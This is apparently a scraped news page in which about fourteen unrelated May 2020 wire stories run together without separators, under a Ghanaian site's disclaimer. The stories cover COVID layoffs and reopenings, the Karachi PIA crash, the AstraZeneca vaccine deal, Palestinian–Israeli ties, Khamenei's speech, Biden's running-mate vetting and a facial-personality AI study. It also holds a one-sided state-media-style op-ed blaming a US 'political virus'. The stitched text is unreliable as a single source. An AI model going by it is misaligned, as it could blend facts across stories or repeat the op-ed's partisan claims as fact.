Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Joining a long list of companies shedding their workforce in the wake of the coronavirus crisis is Indiabulls Group that has asked nearly 2,000 employees to resign. The diversified financial services group has, however, said this is part of its "annual attrition cycle". "The company typically sees an attrition of 10-15 per cent of its workforce every year during April-May in the normal course of business. This year we waited till we got clarity from the Supreme Court and MHA. There are no layoffs other than in the normal course of business due to attrition and as per the performance trend of the entire year and not just a couple of months," Indiabulls Group said in a statement.

The group, which employs over 26,000 people, has not given any specific number of employees who have been asked to leave the company. But even if one goes by its "10-15 per cent" claim, the number could be much higher than 2,000.

Also read: RBI Governor Shaktikanta Das to hold press conference at 10 am

On May 15, the group's Indiabulls Housing Finance asked many of its employees to resign and consider May 31 as their last day. Many employees have even claimed they were sacked without the three-month notice period, news agency PTI reported. "Our appointment letter mentions a notice period of three months from both parties. We had requested them to let us serve the notice period so that we can look for a new job," an employee told the news agency.

Those not submitting resignation letters have reportedly been transferred to different places, many of them to far-flung areas. "I am currently in Noida and the company has transferred me to the southern part of the country. They want me to report to duty from the new location from May 25, 2020. How am I supposed to reach there?" Asked another employee, who shared the transfer order, issued to her by the company on May 20, with PTI.

The company spokesperson has, however, claimed the notice period would vary as per the contract of employees. The spokesperson added that the company was talking to the employees over the issue.

Many companies, including start-ups, are laying off employees as their businesses continue to get affected due to the coronavirus restrictions. On May 15, food delivery and restaurant review platform Zomato said it would lay off around 13 per cent of workforce (over 600 employees) due to the impact of the COVID-19 pandemic on its business.

Zomato's competitor, Bengaluru-based online food and delivery platform Swiggy also said on May 18 it would lay off 1,100 employees from the company. Co-working major WeWork India, owned by realty firm Embassy Group, said on May 18 that it would lay off around 20 per cent of its total 500 employees with effect from June to cut its operational costs in the wake of coronavirus crisis.

Also read: Jio Platforms stake sales, rights issue to cut RIL debt by Rs 1 lakh crore in Q1
A man, who was under home quarantine after returning from Ghaziabad, died in Pauri district of Uttarakhand, officials said on Friday.

This is the third death in quarantine reported from the district.

The man from Pipli village of the district died late Thursday night, Pabau police chawki in charge Ajay Singh said.

The cause of his death is being ascertained as he was unwell for a long time and undergoing treatment at a hospital in Ghaziabad, Singh said.

He had returned home on May 10 and was quarantined at home. His condition worsened late on Thursday night and he died, the official said.

He seems to have died of a heart attack, an official said.

Two persons had died in quarantine in Pauri district on May 17 and 18.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
WASHINGTON - The federal Bureau of Prisons will begin moving about 6,800 inmates who have been waiting in local detention centres across the U.S. to federal prisons to avoid jail overcrowding in the coronavirus pandemic, officials said Friday.

Its not clear when it would begin. The inmates will be sent to one of three designated quarantine sites  FCC Yazoo City in Mississippi, FCC Victorville in California and FTC Oklahoma City  or to a Bureau of Prisons detention centre.

All the inmates who are being moved will be tested for COVID-19 when they arrive at the Bureau of Prisons facility and would be tested again before they are moved to the prison where they would serve their sentence.

The prisoners have already been sentenced to federal crimes but were unable to be moved from local facilities as the coronavirus pandemic struck over concerns the virus would spread rampantly.

In a memo issued to staff earlier this week, Bureau of Prisons officials said the inmates would be held there until such time that inmates can be moved safely to their final destination. The BOP says it has suspended most transfers of inmates already in the federal system, but there are still exceptions for forensic studies, medical or mental health treatment, residential reentry and inmates who are wanted by other juristictions.

Bureau of Prisons Director Michael Carvajal said there has been an expanded testing capacity that will help to mitigate the spread of coronavirus in the federal prison system. As of Friday, more than 4,641 inmates had tested positive for COVID-19 at Bureau of Prisons facilities; 3,047 had recovered. There have been 59 inmate deaths since late March.

The Bureau of Prisons said it has worked with the U.S. Marshals Service to decreased internal movement of inmates by about 90% as compared to this time last year and newly sentenced inmates have been held in local detention centres across the U.S. Inmates move from facility to facility for a variety of reasons, including for court appearances, sentencing, to manage the number of inmates at each facility or for medical or disciplinary reasons.

But the agency says as courts begin to work again after lockdowns, officials must begin moving inmates to alleviate population pressures at local detention facilities.

We believe our proactive approach, including our expanded inmate testing capacity, will aid the Bureau to further combat the introduction and spread of the virus within our prison system, Carvajal said in a statement.

An additional 7,000 inmates who are already held at Bureau of Prisons facilities, but have been awaiting moves to other prisons, will also be moved at a later date, the agency said.

The response from the federal Bureau of Prisons coronavirus has raised alarm among advocates and lawmakers about whether the agency is doing enough to ensure the safety of the about 137,000 inmates serving time in federal facilities.

And even though officials have stressed infection and death rates inside prisons are lower compared with outside, a high number of inmates tested come back positive  signs that COVID-19 cases are left uncovered.

Inmate testing at the designated sites is being performed using Abbotts ID Now point-of-care test technology, which the Food and Drug Administration flagged last week for potentially returning false negative results. A study by New York University showed that the device returned false negatives for 48% of tests that were found to be positive using another testing technology.

In a statement, Abbott said the NYU study results were not consistent with other studies, which have shown performance rates ranging from more than 80% to as high as 94%.

Testing is not available for employees at federal prison facilities, the memo said, adding that wardens are encouraged to provide a list of possible testing sites in the community where staff can be tested.

The federal prison system is continuing coronavirus-related restrictions, including a ban on visitors and minimal inmate transfers, at least through the end of June.

The Bureau of Prisons also said Friday that the warden of a Louisiana federal prison complex where eight inmates have died of coronavirus and dozens more have been infected has been put on a temporary duty assignment at a regional office. As warden at Oakdale, Rodney Myers faced criticism from employees for testing shortages and a lack of transparency on which inmates and how many had tested positive.

___

Sisak reported from New York.

Follow Balsamo and Sisak on Twitter at twitter.com/MikeBalsamo1 and twitter.com/MikeSisak
At least two people have survived after a Pakistan International Airlines (PIA) plane crashed in Karachi with 98 people on board.

Flight PK 8303 went down in a residential area of the city on Friday as the Airbus A320 plane, carrying 91 passengers and seven crew, was approaching Jinnah International Airport.

The airline said the pilot had reported technical issues and witnesses said the aircraft, flying from Lahore, attempted to land two or three times before hitting a mobile tower and crashing into houses in the Model Colony area, a few miles away from the airport.

Smoke billowed from the scene where caved-in roofs could be seen as debris lay scattered in the streets while ambulances hurried through chaotic crowds, with fears residents are injured or dead.

Officials confirmed there are two survivors, but Prime Minister Imran Khan's special adviser told Sky News there could be up to seven people who have survived.

He also said an independent enquiry will take place but neither PIA nor the civil aviation authority will take part in it.

Local TV stations showed footage of a man on a stretcher who they said was a survivor.

A senior Pakistani government source told Sky News one of the survivors is the president of Punjab Bank, Zafar Masud.

Footage given to Sky News showed a man believed to be Mr Masud, who was in seat 1C, being pulled out of the wreckage as it was engulfed by flames.

Provincial government spokesman Abdur Rashid Channa said a banker had survived and spoke to officials from his hospital bed.

"Thank you so much. God has been merciful," the passenger said, according to a government statement.

Another passenger who survived the crash has been named as Muhammad Zubair.

At least three people on the ground were injured.

A total of 17 dead bodies and six injured people were brought into the nearby Jinnah Hospital, Seemin Jamali, its executive director said.

Witness Shakeel Ahmed said: "The aeroplane first hit a mobile tower and crashed over houses."

Story continues

"The last we heard from the pilot was that he had some technical problem," PIA spokesman Abdullah H Khan said in a video statement. "It is a very tragic incident."

The pilot sent a mayday and told controllers the aircraft had lost power from both its engines on its second attempt to land, according to a recording posted online by liveatc.net, which has released aircraft recordings in the past.

After the aircraft reportedly called off an earlier attempt to land and went around for a second attempt, a controller radioed the pilot to say he appeared to be turning left, suggesting he was off-course.

The pilot replied: "We are returning back, sir, we have lost engines," and the controller cleared the plane to land on either of the airport's two runways.

Twelve seconds later the pilot called "mayday, mayday, mayday" and was again cleared to use either runway. There was no further communication from the aircraft.

It is feared there may be more casualties as the Model Colony area where the plane came down is densely populated.

Mayor Wasim Akhtar said at least five or six houses were destroyed in the crash.

PM Imran Khan tweeted: "Shocked & saddened by the PIA crash. Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased."

A spokesman for Pakistan's Armed Forces tweeted that helicopters were being used in the search and rescue effort and paramilitary troops had reached the site, alongside civil administration.

Footage taken from the scene showed a woman crying as she was helped to safety by another woman and one man being helped by a passer-by as he limped through the cordon.

Firefighters and other rescue workers were pictured on the roofs of buildings spraying water on to the wreckage of the plane.

The flight typically takes an hour and a half to travel from the northeastern city of Lahore to Karachi.

Airworthiness documents showed the plane, which first flew in 2004, last received a government check on 1 November, 2019.

PIA's chief engineer signed a separate certificate on 28 April saying all maintenance had been conducted on the plane and that "the aircraft is fully airworthy and meets all the safety standards".

It had been flown six times since returning to service after being grounded by the coronavirus lockdown.

Airbus did not immediately respond to a request for comment on the crash.

Pakistan resumed domestic flights earlier this week ahead of the Eid holiday marking the end of the Islamic fasting month of Ramadan.

It has been in a countrywide lockdown since mid-March to try to stem the spread of coronavirus .

In 2016, 47 people died when a PIA jet crashed into a mountainside in Khyber-Pakhtunkhwa province, while the country's worst plane disaster happened in 2010 when an AirBlue flight crashed near Islamabad, killing 152 people.
The United States has secured almost a third of the first 1 billion doses planned for AstraZeneca's experimental COVID-19 vaccine by pledging up to $1.2 billion, as world powers scramble for medicines to get their economies back to work.

While not yet proven to be effective against the coronavirus, vaccines are seen by world leaders as the only real way to restart their stalled economies, and even to get an edge over global competitors.

After President Donald Trump demanded a vaccine, the U.S. Department of Health and Human Services agreed to provide up to $1.2 billion to accelerate British drugmaker AstraZeneca's vaccine development and secure 300 million doses for the United States.

"This contract with AstraZeneca is a major milestone in Operation Warp Speed's work toward a safe, effective, widely available vaccine by 2021," U.S. Health Secretary Alex Azar said.

The vaccine, previously known as ChAdOx1 nCoV-19 and now as AZD1222, was developed by the University of Oxford and licensed to AstraZeneca. Immunity to the new coronavirus is uncertain and so the use of vaccines is unclear.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The U.S. deal allows a late-stage, or Phase III, clinical trial of the vaccine with 30,000 people in the United States.

Cambridge, England-based AstraZeneca said it had concluded agreements for at least 400 million doses of the vaccine and secured manufacturing capacity for 1 billion doses, with first deliveries due to begin in September.

Now the most valuable company on Britain's blue-chip FTSE 100 Index, AstraZenecahas already agreed to deliver 100 million doses to people in Britain, with 30 million as soon as September. Ministers have promised Britain will get first access to the vaccine.

VACCINE SCRAMBLE

With leaders across the world surveying some of the worst economic destruction since at least World War Two and the deaths of more than 327,000 people, many are scrambling for a vaccine.

The U.S. government has struck deals to support vaccine development with Johnson & Johnson (J&J) , Moderna and Sanofi , sparking fears the richest countries will be able to protect their citizens first.

Sanofi's chief angered the French government earlier this month when he said vaccine doses produced in the United States could go to U.S. patients first, given the country had supported the research financially.

"We have a lot of things happening on the vaccine front or the therapeutic front," Trump told reporters at the White House when asked about the AstraZenca announcement. "You're going to have a lot of big announcements over the next week or two" on therapeutics.

Trump, during a Thursday visit to a Ford Motor Co plant in Michigan, said the U.S. military is "in gear so we can give out 150 to 250 million shots quickly."

AstraZeneca said it was in talks with governments and partners around the world - such as the Serum Institute of India - to increase access and production and is speaking to various organisations on fair allocation and distribution.

"We would like to thank the U.S. and UK governments for their substantial support to accelerate the development and production of the vaccine," AstraZeneca Chief Executive Pascal Soriot said.

The Serum Institute of India, the world's largest maker of vaccines by volume, has dedicated one of its facilities with a capacity to produce up to 400 million doses annually to producing the Oxford vaccine.

"We are scaling up on a conservative basis of about 4 to 5 million doses a month to begin with," Chief Executive Adar Poonawalla told Reuters, adding the company was in discussions with AstraZeneca.

COVID-19 PROTECTION?

A Phase I/II clinical trial of AZD1222 began last month to assess safety, immunogenicity and efficacy in over 1,000 healthy volunteers aged 18 to 55 across several trial centres in southern England. Data from the trial is expected shortly.

There are currently no approved treatments or vaccines for COVID-19.

Governments, drugmakers and researchers are working on around 100 programmes. Experts are predicting a safe, effective means of preventing the disease could take 12 to 18 months to develop.

Only a handful of the vaccines in development have advanced to human trials, an indicator of safety and efficacy, and the stage at which most fail.

"AstraZeneca recognises that the vaccine may not work but is committed to progressing the clinical program with speed and scaling up manufacturing at risk," it said.

Other drugmakers including Pfizer Inc , J&J and Sanofi are in various stages of vaccine development.

U.S.-based Inovio Pharmaceuticals said Wednesday its experimental vaccine produced protective antibodies and immune system responses in mice and guinea pigs.

And Moderna this week released positive data for its potential vaccine, which it said produced protective antibodies in a small group of healthy volunteers.
Metro Manila (CNN Philippines, May 23)  A spike in COVID-19 infections may happen in Metro Manila if quarantine measures are eased, researchers from the University of the Philippines said on Friday.

In a report covering key provinces and local government units based on Health department data, the UP researchers recommended for the national government to continue significant restrictions in NCR (National Capital Region) and Cebu City and expand the same as necessary to other high-risk areas.

Our goal ultimately is not just to flatten the curve but to bend it downwards, the researchers said in their 'COVID-19 Forecasts in the Philippines: Post-ECQ Report.

The report presented the number of COVID-19 cases and deaths in each of the 17 local government units (LGU) in Metro Manila based on levels of transmission as of May 16. These were used for their forecasts for June 15, or projections for the next 30 days.

The projections assume trends continue, i.e. there is a continued implementation of ECQ (enhanced community quarantine). Any modifications in ECQ may cause an increase in the number of total cases and deaths,the researchers said.

The report also tackled conditions in provinces and LGUs outside Metro Manila.

In particular, the researchers said the situation in Zamboanga City, Batangas and Davao City deserves close monitoring as the risk levels of the pandemic in these areas are still significant.

They added that vigilance is still needed even in areas under the general community quarantine to ensure that that any new cases are immediately detected and new outbreaks prevented.

On a nationwide scale, the UP report classified areas into low, medium and high risk.

The high-risk areas are Batangas, Cebu City, Davao City, Metro Manila and Zamboanga City.

Under the medium risk are Lapu Lapu City and Mandaue City in Cebu province, Laguna, Oriental Mindoro and Samar.

The low-risk areas are Albay, Antique, Bataan, Benguet, Bulacan, Camarines Norte, Camarines Sur, Cavite, Ifugao, Iloilo, Lanao del Norte, Misamis Oriental, Nueva Ecija, Occidental Mindoro, Pampanga, Quezon, Rizal, Romblon, Tarlac and Cebu province (excluding Cebu City, Mandaue City and Lapu Lapu City).

All other provinces not indicated have no new COVID-19 cases for the week May 10 to 16, are in the safe category, according to the report.

Pending a cure for the disease and to sustain gains from quarantine policies, the report recommended for the government to make sure that health systems are capable of detecting, testing, isolating and treating every case of COVID-19, as well as tracing every contact.

It should also effectively enforce the rules on physical distancing and health safeguards especially in malls and other establishments allowed to operate under the modified enhanced community quarantine.

As the government reviews and decides on the next quarantine rules beyond May 31, the UP researchers said policy-makers should undertake, commission if necessary, studies on peoples mobilities in areas under quarantine.

Given the recent decision by government to loosen restrictions and based on the experience of other countries, the likelihood of a resurgence seems to be not a question of if but where, and how bad. The virus is still with us and we have not yet developed herd immunity, the UP researchers said.

The 'COVID-19 Forecasts in the Philippines: Post-ECQ Report' was authored by Guido David of the Institute of Mathematics, assistant professor Ranjit Singh Rye of the Department of Political Science, and Ma. Patricia Agbulos, an associate at OCTA Research.

The Philippines has 13,597 cases of COVID-19 infection, with 3,092 recoveries and 857 deaths.
WASHINGTON  Three more counties across Washington are now eligible to enter Phase 2 of Gov. Jay Inslee's Safe Start plan to reopen business as the coronavirus pandemic slowly comes under control.

Thursday afternoon, the state announced that Cowlitz, Grand and Pacific counties can now submit an application and will be considered to enter Phase 2 early. Before, 22 counties across Washington were eligible to submit a so-called "variance" application to enter the phase early. Ten of those counties have successfully applied: Asotin, Columbia, Garfield, Lincoln, Ferry, Pend Orielle, Skamania, Stevens, Wahkiakum, and Whitman counties.

Don't miss the latest coronavirus updates from health and government officials in Washington. Sign up for Patch news alerts and newsletters for what you need to know daily.

To enter Phase 2, originally a county had to have a population under 75,000 and no new coronavirus cases for the past three weeks. Tuesday the state loosened the restrictions to be more in line with Centers for Disease Control Guidance: now to qualify a county must have fewer than 10 new coronavirus cases per 100,000 residents over two weeks. To apply for a variance the county must receive approval from the local public health officer, the board of health, local hospitals, a county commission vote and more. The state says all those votes of confidence are necessary to make sure the county is aware of the severity of the move into Phase 2, and that they can react if there are any resulting coronavirus outbreaks.

After the county submits their application, it is received by the Secretary of Health who can then approve, modify or deny the application. Currently, only Kittitas County's application remains under review.

Entering Phase 2 allows a variety of businesses to go back to work, but with some limitations and social distancing requirements. Industries that can come back to work include restaurants, salons and retail stores. Restrictions on non-essential travel are also lifted to allow customers to travel to and from the reopened businesses.

Story continues

Counties that cannot apply to enter Phase 2 early are expected to all enter Phase 2 around June 1, though Inslee notes that the day could be pushed back if there are any major setbacks.

Learn more about the county variance process here.



Review each Safe Start reopening phase here.









This article originally appeared on the Seattle Patch
The National Assembly (NA) mulled over a draft revised law on Vietnamese guest workers with contracts in Hanoi on May 21, the second working day of its ongoing ninth session.

Minister of Labour, Invalids and Social Affairs Dao Ngoc Dung

Authorised by the Prime Minister, Minister of Labour, Invalids and Social Affairs Dao Ngoc Dung presented a proposal for the draft law.

He said the amendment aims to institutionalise relevant policies and guidelines recently adopted by the Party and the national constitution that was supplemented and reviewed in 2013.

Sending Vietnamese workers abroad is a long-term and consistent policy in job generation, poverty reduction, and skills training during national construction amid industrialisation and modernisation, he said.

With eight chapters and 79 articles, the draft law supplements the types of contracts and regulations on non-State funds for overseas job support used to serve information efforts, assist enterprises expanding operations, and promote Vietnamese human resources, among others.

Nguyen Thuy Anh, head of the NAs Committee for Social Affairs, presented a report assessing the draft law, saying the assessment agency basically agrees on the necessity of building the legal document.

The committee proposed the Government and the compilation board make clear those subject to the draft law and whether it suits the policy on mobilising the participation of different economic sectors in public services.

The assessment agency also agreed with the Governments proposal for maintaining the overseas job support fund which it said should serve both enterprises and workers.

The Government and the compilation board should pay more heed to the funds feasibility, equality, transparency, and efficiency./.VNA
Palestinian president Mahmoud Abbas has halted security coordination with Israel and the US, after years of threatening to do so, over Benjamin Netanyahus controversial plans to imminently annex parts of the occupied West Bank.

Citing defence sources, Israel media on Friday confirmed that security and intelligence cooperation had indeed stopped, along with civil ties between Israel and the Palestinian Authority.

Israeli officials speaking to The Independent did not know the full consequences of the move. They fear the halting of cooperation could lead to soaring violence and increased clashes between Israeli troops and Palestinians.

Palestinian officials offered scant details but told The Independent Palestinian forces had begun withdrawing from Area B, which makes up 22 per cent of the West Bank, where Palestinians have civil control but Israel is responsible for security.

Mr Abbas originally announced on Tuesday that Palestinians were no longer bound by agreements with Israel or the USs Central Intelligence Agency (CIA), pointing to Mr Netanyahus repeated pledges to annex the strategic Jordan Valley and Israeli settlements.

Recommended UAE flies first commercial flight to Israel

The Trump administration, which released a Middle East peace plan in January that was roundly rejected by the Palestinian leadership, is believed to have green-lit Netanyahus promise despite it being illegal under international law.

While Mr Abbas has made similar threats to cut ties with Israeli over a dozen times during the last few years, this week he took the rare step of following through.

Palestinian prime minister Mohammed Shtayyeh on Thursday ordered his cabinet to start implementing Mr Abbass decisions. Saeb Erekat, a senior figure in the Palestinian Liberation Organisation, confirmed that the PA had notified the CIA as well as Israel.

Security cooperation with the United States is no more. Security coordination with Israel is no more, Mr Erekat said. We are going to maintain public order and the rule of law, alone.

The Israeli media reported that meetings between Palestinian security officers and their Israeli counterparts have been suspended along with a hotline between the two sides.

The West Bank, which was captured by Israel during the 1967 Middle East war, is divided into three areas under the 1995 Oslo peace accords.

Area A is under the control of the Palestinian Authority, while Areas B and C are under Israeli military control.

The Oslo accords and other agreements in the 1990s also created the Palestinian Authority and govern its political, economic and security relations with Israel.

Israel argues the security coordination serves the interests of both Israelis and Palestinians as it is largely aimed at Mr Abbass main rival, the militant group Hamas which runs Gaza.

But cooperation between the two sides has long been fraught.

Israeli security forces, which are deployed across the West Bank that is home to over 460,000 Israeli settlers, frequently carry out arrest raids in Palestinian cities and towns. They are supposed to coordinate with their Palestinian counterparts to prevent any clashes.

The Palestinians hope the West Bank, East Jerusalem and Gaza will make up their future state.

However, the Trump plan  regarded as the most pro-Israel vision of the regions future  denies the Palestinians a fully-fledged state and instead leaves them with scattered enclaves inside Israel.

After the Palestinians boycotted the plan, tensions flared as Mr Netanyahu repeatedly vowed to push ahead with annexation even before a peace deal is signed.

In September, he drew up an annexation map of the Jordan Valley, which according to Israeli settlement monitor Peace Now would see over 4,300 Palestinians annexed as well.

 Benjamin Netanyahu says Donald Trump has been 'the greatest friend Israel has ever had in the White House'

Fears mounted this month after the prime minister signed a unity deal with his chief elections rival Benny Gantz, allowing him to present an annexation proposal to the government as soon as 1 July.

Most of the international community  including the European Union and the UK  opposes unilateral annexation because of fears it will destroy the creation of a viable sovereign Palestinian state.

A two-state solution based on the 1967 lines is still widely seen as the only way of resolving the decades-long conflict, although many experts believe it is increasingly impossible given how divided the West Bank now is.

Mr Netanyahu is due in court on Sunday at the start of one of three corruption trials, on bribery, fraud and breach of trust charges, which he vehemently denies.
New Delhi: Market ended in red on Friday led by losses in financial and banking sector.

The BSE Sensex tumbled 260.31 points or 0.84 percent to end at 30,672.59. On the other hand the NSE Nifty dropped 67 points or 0.74 percent to close at 9,039.25.

Major gainers in the Sensex pack were M&M, Infosys, Asian Paints, Ultrachem, Tech Mahindra, Maruti, Heromotocorp, TCS, Kotak Bank, HUL, Sun Pharma and NTPC, rising upto 4.46 percent. On the other hand top laggards were, Axis Bank, HDFC, Bajaj Finance, ICICI Bank, Bajaj Auto, Tata Steel, IndusInd Bank, HDFC Bank, Power grid, ITC, ONGC and HCL Tech, falling upto 5.65 percent.

The host of announcements made by RBI Governor Shaktikanta Das failed to enthuse investors. Among the major announcements, Das said that RBI has slashed the repo rate by 40 bps to 4%. The reverse repo rate was also reduced by 40 basis points to 3.35%. The Central Bank has reduced the key policy rate for the second time this year.

Shaktikanta Das addressed a press conference announcing measures to ease the financial stress caused by the COVID-19 pandemic. This is his third press conference (the other two being on March 27 and April 17).

Among other major announcements, he also said that loan moratorium will be extended by 3 more months to August 31.
Exposure of Ulterior Motives Behind Stigmatization of China with COVID-19 (Part III)

By Jun Sheng

While the biological virus is a common enemy of humankind, the political virus born out of certain American politicians is equally detestable, for it has damaged the global anti-epidemic cooperation and impeded the long-term development and progress of human society. The virus in the political world has done even more damages than the virus from the natural world.

What are the sources of this political virus then?

It is rooted in the selfish interests of a handful of American politicians. Not long ago, the American media revealed that senior US officials had handed down documents to a number of federal agencies requesting all federal employees to speak consistently about the pandemic and blame China for everything. The document was practically a confession of the US government on how it implemented the buck-passing. As 2020 is Americas election year, some American politicians are so crazily intent on fabricating all kinds of fallacies about holding China accountable, attacking the WHO for being too China-centric, and even criticizing some state governors for poor epidemic response, all to keep the epidemic from affecting the election. Such unscrupulous political shows reflect how desperate these politicians are to cover up their misconduct both in the decision and execution of their response, with a purpose of deflecting the public grumble.

The political virus is a tumor stemming from racism. After the WHO and the scientific circle named the novel coronavirus COVID-19, some American politicians deliberately ignored the new nomenclature and insisted on calling it the Chinese virus. It is an international consensus not to label a virus with a region, state, or race, which is also a universal principle that the international community should uphold. Yet these American politicians are determined to defy the world by intentionally steering public opinions in the direction of racism and xenophobia, and practicing racial discrimination. The use of the term Chinese virus for coronavirus laid bare the absolute absence of common sense, conscience, cooperative spirit, and morality in those politicians infected with the political virus.

The political virus derives from the Cold War mentality. A small group of American politicians have been obsessed with political maneuver and slandering China, especially the US Secretary of State Mike Pompeo, who has been busy fanning flames and spreading rumors. The political virus ingrained in their mind is the hotbed of all their vicious intentions. They have the wishful thinking that accusing China of the so-called mask diplomacy would offset its influence; vilifying Chinas aid to help build the African Center for Disease Prevention and Control as an attempt to steal genome data would drive a wedge between China and Africa; and egging other countries to claim reparations from China would pin the original sin of the virus on the country.... These whimsical whoppers are nothing but Washingtons attempts to curb Chinas development.

The political virus is rooted in the obsession with great-power competition. The US government labeled China and Russia as the biggest challenges to US national security in its latest National Security Strategy and National Defense Strategy, and declared the reemergence of great-power competition. During this global crisis of COVID-19, certain American politicians, going out of their way to make ammunition to win the great-power competition, have gone all out to oppose China in every possible way and tried hard to cover up Americas embarrassment of ineffective epidemic control measures by smearing China, rather than focus on preventing the virus spread. As we can never wake up someone pretending to be asleep, perhaps the best way is to leave him alone and not even turn our eyes in his direction, as the famous Chinese writer Lu Xun once said.

The disease has seeped down into the skin and should be treated before it gets worse. The world is still struggling with the COVID-19 pandemic, and all countries need to join hands in defeating it. We advise the American politicians with ulterior motives to stop the misdeed and change course before its too late. We also call on the international community to stay on high alert and take strong measures to prevent the American political virus from spreading to do more harm to the global anti-epidemic efforts and the normal international order.
Iran's Supreme Leader Ayatollah Ali Khamenei delivers a televised speech on the occasion of the Iranian New Year Nowruz, in Tehran

By Parisa Hafezi

DUBAI (Reuters) - Iran's Supreme Leader on Friday denounced Israel as a "tumor" to be removed and hailed Tehran's supply of arms to Palestinians, drawing swift condemnation from the United States, European Union and Israel.

Opposition to Israel is a core belief for Shi'ite Muslim-led Iran. The Islamic Republic supports Palestinian and Lebanese armed groups opposed to peace with Israel, which Tehran refuses to recognize.

"The Zionist regime (Israel) is a deadly, cancerous tumor in the region. It will undoubtedly be uprooted and destroyed," Supreme Leader Ayatollah Ali Khamenei said in an online speech.

The United States and European Union rejected the comments.

U.S. Secretary of State Mike Pompeo on Twitter dismissed them as "disgusting and hateful anti-Semitic remarks" that did not represent the tradition of tolerance of ordinary Iranians.

EU foreign policy chief Josep Borrell said they were "totally unacceptable and represent a deep source of concern".

Although leaders of Palestinian militant groups in Gaza, including Hamas and Islamic Jihad, have frequently praised Iran's financial and military support, Khamenei had not himself previously given public confirmation of Tehran's weapons supply.

"Iran realised Palestinian fighters' only problem was lack of access to weapons. With divine guidance and assistance, we planned, and the balance of power has been transformed in Palestine, and today the Gaza Strip can stand against the aggression of the Zionist enemy and defeat it," he said.

Israeli Defence Minister and Alternate Prime Minister Benny Gantz said: "The State of Israel has great challenges in a variety of arenas. Khamenei's statement that Israel is a 'cancerous tumor' illustrates this more than anything."

He said on Facebook: "I do not suggest anyone to test us ...We will be prepared for all threats, and by any means."

Story continues

In a statement described as a response to Khamenei, Prime Minister Benjamin Netanyahu said: "Those that invoke the threat of destruction against Israel put themselves in similar danger."

RALLIES CANCELLED

Zeyad al-Nakhala, chief of Palestinian Islamic Jihad, which has publicly admitted getting Iranian arms and funds, praised Khamenei's comments. "We are ready for a long jihad and victory is granted," he said in remarks distributed by the group.

Iranian officials have repeatedly called for an end to Israel, including by a referendum that would exclude most of its Jews while including Palestinians in the region and abroad.

Khamenei suggested global attention on the coronavirus crisis had helped obscure wrongs done to Palestinians. "The long-lasting virus of Zionists will be eliminated," he added.

Khamenei was speaking on Iran's annual Quds Day, which uses the Arabic name for Jerusalem, held on the last Friday of the Muslim fasting month of Ramadan.

Iran cancelled nationwide Quds Day rallies due to coronavirus. Iran is one of the most affected countries in the region with 7,300 deaths and a total of 131,652 infections.

Khamenei also denounced what he called treason by "political and cultural mercenaries in Muslim countries" helping Zionists to downplay the Palestine issue, an apparent reference to some Arab states including Iran's regional rival Saudi Arabia.

(Additional reporting by Rami Ayyub in Tel Aviv, Nidal al-Mughrabi in Gaza and Dan Williams in Jerusalem; Writing by Parisa Hafezi; Editing by William Maclean/Mark Heinrich)
Washington, May 22 (IANS) Presumptive Democratic presidential nominee Joe Biden has asked Minnesota Senator Amy Klobuchar to undergo a formal vetting to be considered as his running mate for Vice President, local media reported.

The request for information from potential running mates like Klobuchar "is underway", Xinhua news agency quoted a senior Biden campaign aide as saying on CBS News on Thursday.

It's not yet clear if Klobuchar has consented to the vetting.

If a potential contender consents, she should be poised to undergo a rigorous multi-week review of her public and private life and work by a hand-picked group of Biden confidantes, who will review tax returns, public speeches, voting records, past personal relationships and potentially scandalous details from her past, said a CBS News report.

Biden has publicly credited Klobuchar for strong debate performances and for helping him win her home state Minnesota in March.

Biden committed during a March primary debate to picking a woman as his running mate and told donors during a fundraiser last month that he hoped this vetting process would be done by July.

Besides Klobuchar, California Senator Kamala Harris, Massachusetts Senator Elizabeth Warren, former Georgia Democratic gubernatorial nominee Stacey Abrams and Michigan Governor Gretchen Whitmer were thought to be possible contenders.

The 77-year-old former Vice President would be the oldest man ever elected to the White House and has not committed to seeking a second term if he wins the presidency, meaning his Vice President would be a presumptive front-runner in the 2024 election, or positioned to lead the pack in 2028.

Biden is currently holding a 11-point lead over sitting President Donald Trump, a Quinnipiac University poll showed on Wednesday.

He leads Trump 50 to 39 per cent in a head-to-head matchup in the US presidential election slated to be held in November.

That's up from the 49 - 41 per cent lead Biden held in April's poll.

--IANS

ksk/
Facial recognition technology can determine a person's personality by analysing an emotionless selfie, a study claims.

Researchers built an artificial neural network that assessed 128 different factors of a person's face, such as the width of the mouth and the height of the lips or eyes.

It used the data from these readings to categorise a person based on five personality traits: conscientiousness, neuroticism, extraversion, agreeableness, and openness.

When compared to questionnaires filled in by the volunteers, the AI was accurate 58 per cent of the time.

Researchers say pure chance would get this right 50 per cent of the time and humans are less consistent than the facial recognition method.

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The researchers trained the AI system to determine personality based on selfies. A person was classified as having one of the following traits: conscientiousness, neuroticism, extraversion, agreeableness, and openness. The team then created composite images by averaging the uploaded images with the highest and the lowest test scores on each trait. Pictured, the averaged look at most and least conscientious

Pictured, a composite image showing the differences between the average low and high levels of openness. Previous research has found open minded people command higher earnings and 'agreeable' types are popular and have lots of friends

Scientists used a well-established method to categorise personalities, using the so-called 'Big Five' traits.

The system was found to be more accurate on women than on men and was best at recognising conscientiousness.

